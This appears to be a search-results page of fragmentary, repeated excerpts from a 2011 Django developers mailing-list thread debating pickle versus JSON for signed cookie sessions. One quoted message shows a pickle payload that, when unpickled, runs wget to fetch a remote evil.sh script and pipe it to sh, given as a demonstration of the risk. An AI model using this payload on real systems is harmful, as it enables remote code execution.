Can we provide a setting that lets you switch between the two? Then you can let
developers choose their poison?
On Friday, November 11, 2011 at 6:25 PM, hcarvalhoalves wrote:
> On 10 nov, 18:05, Paul McMillan wrote:
> > > There's no reason to not use JSON by default since it's adequate for
> >
On 10 nov, 21:21, Anssi Kääriäinen wrote:
> On Nov 10, 10:05 pm, Paul McMillan wrote:
>
>
>
>
>
>
>
>
>
> > > There's no reason to not use JSON by default since it's adequate for
> > > most cases where you need to store lightweight data client-side, since
> > > it's most useful to use with FormWi
On 10 nov, 18:05, Paul McMillan wrote:
> > There's no reason to not use JSON by default since it's adequate for
> > most cases where you need to store lightweight data client-side, since
> > it's most useful to use with FormWizard and such, where the fields are
> > easily serialized as strings. If
On Nov 10, 10:05 pm, Paul McMillan wrote:
> > There's no reason to not use JSON by default since it's adequate for
> > most cases where you need to store lightweight data client-side, since
> > it's most useful to use with FormWizard and such, where the fields are
> > easily serialized as string
> There's no reason to not use JSON by default since it's adequate for
> most cases where you need to store lightweight data client-side, since
> it's most useful to use with FormWizard and such, where the fields are
> easily serialized as strings. If it can't be a drop-in replacement to
> the othe
To reinforce the already commented issue:
Werkzeug suffers from the same problem, since it's SecureCookie
implementation pickles data by default.
https://github.com/mitsuhiko/werkzeug/issues/60 (See proof of concept
added)
To unpickle data from an untrusted client by default is a big
potential r
On 10/03/2011 01:05 AM, Paul McMillan wrote:
Isn't there also the possibility that the attacker can somehow get arbitrary
data signed into the session cookie without knowing SECRET_KEY?
That's not a viable attack route. It's much less likely than a
developer exposing their SECRET_KEY.
Now that
On Oct 2, 2:31 pm, Paul McMillan wrote:
> data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'"
> import pickle; pickle.loads(data)
>
Some workarounds for Pickle's execution of arbitrary code are proposed
here http://nadiana.com/python-pickle-insecure
Also note one of th
Ok, sorry for the uninformed rambling... Will check the code before posting
next time :)
- Anssi
--
You received this message because you are subscribed to the Google Groups
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from
As I said before, the existing implementation is secure, if the
SECRET_KEY is kept secret. The sky is not falling, don't panic.
> Isn't there also the possibility that the attacker can somehow get arbitrary
> data signed into the session cookie without knowing SECRET_KEY?
That's not a viable att
Forgetaboutit, the exact same problem is there for every session backend. This
btw means that having write access to django_session table means exploit of all
Django instances using that DB, right?
"""
Isn't there also the possibility that the attacker can somehow get arbitrary
data signed into
"""
As I said in the first message, to the best of my knowledge, there's
nothing insecure about the implementation now. The usage of signing to
validate pickles received directly by end users expands our reliance
on SECRET_KEY pretty heavily. This concerns me, which is why I brought
it up here.
"""
> You may be right about users screwing things up once in a while but
> that's entirely unrelated to the fact that the sessions app expects
> every backend to handle any (read: pickle-able) data you hand it. At
> least that's the status quo on how every session backend I've seen
> works.
Yeah. Dro
Hi,
On Sunday, October 2, 2011 2:31:19 PM UTC+2, Paul McMillan wrote:
>
> > P.S.: Btw, if you leak your secret key, you can get an admin user with a
> > json backend too, while not being remote code execution it's still
> something
> > I would consider as catastrophic as code execution in most of
On 02.10.2011, at 06:26, Paul McMillan wrote:
> We recently committed changes to 1.4 that added signed cookie based
> session storage. Session data is pickled, signed, and sent to the
> client as a cookie. On receipt of the cookie, we check the signature,
> unpickle, and use the data. We could us
> JSON backend didn't allow serialization of arbitrary data, as such it was
> different to all the other backends which do allow it -- which means this
> backend isn't a dropin replacement.
Yeah, I agree. The cookie-based backend is already a bit "special", since it
is functionally limited to aro
Remove the pickle from the cookie jar!
Only cookies are meant to be there :P
On Sun, Oct 2, 2011 at 3:26 PM, Paul McMillan wrote:
> We recently committed changes to 1.4 that added signed cookie based
> session storage. Session data is pickled, signed, and sent to the
> client as a cookie. On rec
We do actually already have compression in the code for JSON[1].
Unfortunately, we probably can't enable it by default since it has a
dependency on zlib. Looking at the code, it appears that we don't
compress the pickled cookie, which means that compressed JSON might
actually be more space efficien
Hi Paul,
the initial patch indeed used JSON to dump the data, but while probably
beeing more secure it had some drawbacks which do need consideration: The
JSON backend didn't allow serialization of arbitrary data, as such it was
different to all the other backends which do allow it -- which me
We recently committed changes to 1.4 that added signed cookie based
session storage. Session data is pickled, signed, and sent to the
client as a cookie. On receipt of the cookie, we check the signature,
unpickle, and use the data. We could use JSON instead of pickle, at
the expense of longer
20 matches
Mail list logo
